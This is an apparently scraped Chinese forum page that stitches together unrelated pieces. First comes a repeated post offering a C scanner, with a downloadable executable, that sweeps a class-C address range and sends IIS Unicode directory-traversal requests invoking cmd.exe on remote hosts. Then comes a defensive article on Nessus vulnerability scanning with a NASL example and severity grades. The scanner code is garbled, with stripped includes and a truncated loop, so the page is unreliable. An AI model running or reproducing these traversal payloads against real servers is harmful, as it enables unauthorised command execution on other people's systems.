java高手请来帮助小弟我最近要利用j
如果你要这个程序的执行文件,我编译了一个,做到了主页上,有需要的请自行去下载:
这个版本我将IP地址的扫描设定成了一个c段,使用方法是:scan 。*
其中的星号是从1到255,因为程序是单线成的,所以有点慢,我会尽快改进
另外这次还增加了另外几个UNICODE,这样就将程序所能扫描的漏洞完整了
/* UNICODE hole scanner。 The version is 0。5 */
#include
#include
#include
main(int argc,char *argv[])
{
if(argc!=2){
printf("\nUNICODE hole scanne...全部
如果你要这个程序的执行文件,我编译了一个,做到了主页上,有需要的请自行去下载:
这个版本我将IP地址的扫描设定成了一个c段,使用方法是:scan 。*
其中的星号是从1到255,因为程序是单线成的,所以有点慢,我会尽快改进
另外这次还增加了另外几个UNICODE,这样就将程序所能扫描的漏洞完整了
/* UNICODE hole scanner。
The version is 0。5 */
#include
#include
#include
main(int argc,char *argv[])
{
if(argc!=2){
printf("\nUNICODE hole scanner by Maxview。
Ver 0。5\n");
printf("Useage : scan [IP address] (C-class)\n");
printf("Example: scan 202。
100。2。* OR scan 211。17。65。*\n");
return(1);
}
int sock;
struct sockaddr_in blah;
struct hostent *he;
WSADATA wsaData;
WORD wVersionRequested=MAKEWORD(1,1);
char buff[1024];
char *exA="GET /scripts/。
。%c1%1c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n";
char *exB="GET /scripts/。
。%c1%9c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n";
char *exC="GET /scripts/。
。%c0%af。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n";
char *exD="GET /scripts/。
。%c0%2f。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n";
char *exE="GET /scripts/。
。%c1%9c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n";
char *fmsg="HTTP/1。
1 200 OK";
char host[1000];
char net[1000];
int i;
strncpy(host,argv[1],999);
if (host[strlen(host)-1]=='*')
{
host[strlen(host)-1]=0x0;
}
for (i=1; ih_addr,he->h_length);
}
else{
if(( n_addr。
s_addr=inet_addr(net))==INADDR_NONE){
WSACleanup();
exit(1);
}
}
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,exA,strlen(exA),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound an UNICODE-A hole in %s %s\n", net, exA);
}
else printf("。
");
send(sock,exB,strlen(exB),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound an UNICODE-B hole in %s %s\n", net, exB);
}
else printf("。
");
send(sock,exC,strlen(exC),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound an UNICODE-C hole in %s %s\n", net, exC);
}
else printf("。
");
send(sock,exD,strlen(exD),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound an UNICODE-D hole in %s %s\n", net, exD);
}
else printf("。
");
send(sock,exE,strlen(exE),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound an UNICODE-E hole in %s %s\n", net, exE);
}
else printf("。
");
}
else printf("Can not connect the address。\n");
closesocket(sock);
WSACleanup();
}
}
使用漏洞扫描工具评估网络系统安全
漏洞扫描是保证系统和网络安全必不可少的手段,本文将讲述Linux系统中,如何使用免费的远程安全扫描器Nessus进行漏洞扫描。
面对互联网入侵,如果我们能够根据具体的应用环境,尽可能早地
通过网络扫描来发现安全漏洞,并及时采取适当的处理措施进行修补,就可以有效地阻止入侵事件的发生。因此,漏洞扫描非常重要和必要。漏洞扫描就是对计算机系统或者其他网络设备进行安全相关的检测,以找出安全隐患和可被黑客利用的漏洞。
漏洞扫描通常采用两种策略,第一种是被动式策略,第二种是主动式策略。所谓被动式策略就是基于主机之上,对系统中不合适的设置,脆弱的口令以及其他同安全规则抵触的对象进行检查;而主动式策略是基于网络的,它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应,从而发现其中的漏洞。
基于网络的检测技术,采用积极的,非破坏性的办法来检验系统是否有可能被攻击崩溃。它利用了一系列的脚本模拟对系统进行攻击的行为,然后对结果进行分析。它还针对已知的网络漏洞进行检验。网络检测技术常被用来进行穿透实验和安全审记。
网络漏洞扫描的实现网络漏洞扫描方式通过远程检测目标主机TCP/IP不同端口的服务,记录目标给予的回答。通过这种方法,可以搜集到很多目标主机的各种信息,例如是否能用匿名登陆,是否有可写的FTP目录,是否能用Telnet等。
在获得目标主机TCP/IP端口和其对应的网络访问服务的相关信息后,与网络漏洞扫描系统提供的漏洞库进行匹配,如果满足匹配条件,则视为漏洞存在。漏洞扫描软件从最初的专门为Unix系统编写的一些只具有简单功能的小程序,发展到现在,已经出现了多个运行在各种操作系统平台上的、具有复杂功能的商业程序。
对于用户来说,有如下几种实现方式:● 使用插件(plug-in)。每个插件都封装一个或者多个漏洞的测试手段,主扫描程序通过调用插件的方法来执行扫描。仅仅是添加新的插件就可以使软件增加新功能,扫描更多漏洞。
在插件编写规范公布的情况下,用户或者第三方公司甚至可以自己编写插件来扩充软件的功能。同时这种技术使软件的升级维护都变得相对简单,并具有非常强的扩展性。●使用专用脚本语言。这其实就是一种更高级的插件技术,用户可以使用专用脚本语言来扩充软件功能。
脚本语言的使用,简化了编写新插件的编程工作,使扩充软件功能的工作变得更加容易和方便。● 由漏洞扫描程序过渡到安全评估专家系统。最早的漏洞扫描程序只是简单地把各个扫描测试项的执行结果罗列出来,直接提供给测试者而不对信息进行任何分析处理。
而当前较成熟的扫描系统都能够将对单个主机的扫描结果整理,形成报表,能够对具体漏洞提出一些解决方法,但对网络的状况缺乏一个整体的评估。未来的安全扫描系统,应该不但能够扫描安全漏洞,还能够智能化的协助网络信息系统管理人员评估本网络的安全状况,给出安全建议,成为一个安全评估专家系统。
而Nessus 是一个功能强大的远程安全扫描器(该软件可以从 测试都是由nessusd进程发动的。在测试过程中,Nessus会为每个主机维护一份由扫描测试插件获得的基本信息。各种其他的测试插件应该尽可能地利用这些信息,以提高测试效率。
每个安全测试插件需要向Nessus服务器进行注册后,才能使用。注册信息包括名字、描述、作者等。实例分析下面通过编写一个简单的脚本来测试Web服务器。这里的WWW服务器采用的是Apache,要实现对其安全测试和模拟攻击首先要做的是搜集服务器的信息。
因此,将先测试一下服务器是否存在泄露自身信息的漏洞。(如图1所示)这个算法的思想就是:构造一个URL: // 置了脚本的依赖关系。port=get_kb_item(Services/www);if(!port)port=80;这两行代码是获得服务器提供WWW服务的端口号,Nessus并不认为服务器一定在公认端口提供相应服务。
其中get_kb_item()函数用来从KB库中返回对应参数所对应的值,在这里,如果服务器在其他端口提供WWW服务的话,这个函数则返回其非80端口号。string=ApacheServerInformation;if(get_port_state(port)){soc=http_open_socket(port); if(soc){buffer=http_get(item:/server-info,port:port);send(socket:soc,data:buffer);data=http_recv(socket:soc);if(string> 在执行前,先检测一下对应服务端口状态是否是打开,可避免在端口关闭的情况下进行扫描,占用带宽,提高扫描效率。函数http_get()用来构造一个HTTPGET请求的格式,它可以自动处理HTTP版本认证。
它返回一个规格的HTTP请求串。 security_warning()则用来报告相应端口漏洞信息。在这里如果服务器存在这种泄露自身信息的漏洞的话,security_warning ()将会报告这个端口存在漏洞,并可以在客户端显示脚本注册时script_description()函数提供的内容。
上面是一个简单的例子,读者还可以通过写脚本或者插件的方式对Linux网络系统中的各种Web服务器和各种网络应用进行安全测试。安全评估及措施在实现了对服务器的安全扫描后,便可根据扫描结果,对服务器的安全性能进行评估,给出服务器的安全状况。
下面根据给出一个大致的评价标准。需要特别注意的是:评价标准应该根据应用系统、应用背景的不同而有相应的改变,并不存在绝对的评估标准。A级:扫描结果显示没有漏洞。虽然这并不表明没有漏洞,因为有许多漏洞是尚未发现的,但我们只能针对已知的漏洞进行测试。
B级:具有一些泄漏服务器版本信息之类的不是很重要的漏洞,或者提供容易造成被攻击的服务,如允许匿名登录,这种服务可能会造成许多其他漏洞。C级:具有危害级别较小的一些漏洞,如可以验证某账号的存在,可以造成列出一些页面目录,文件目录等,不会造成严重后果的漏洞。
D级:具有一般危害程度的漏洞,如拒绝服务漏洞,造成服务器不能正常工作,可以让黑客获得重要文件的访问权的漏洞等。E级:具有严重危害程度的漏洞,如存在缓冲区溢出漏洞,存在木马后门,存在可以让黑客获得根用户权限或根用户的shell漏洞,根目录被设置一般用户可写等一些后果非常严重的漏洞。
通过安全评估后,用户则可以根据情况采取措施,包括给系统打补丁(从技术网站上下载)、关闭不需要的应用服务等来对系统进行加固。可以看出,漏洞扫描、安全评估、采取措施是一个循环迭带、前后相继的流程,用户可以在使用中多加揣摩,从而保证Linux网络系统的安全。
下期话题预报:Linux系统中的日志可以记录下攻击者留下的痕迹,通过查看这些痕迹,系统管理员可以发现黑客攻击的某些手段以及特点,从而能够进行处理工作。下期李洋博士将讲述如何使用Linux系统中的日志子系统及其命令更好地保护系统安全。
收起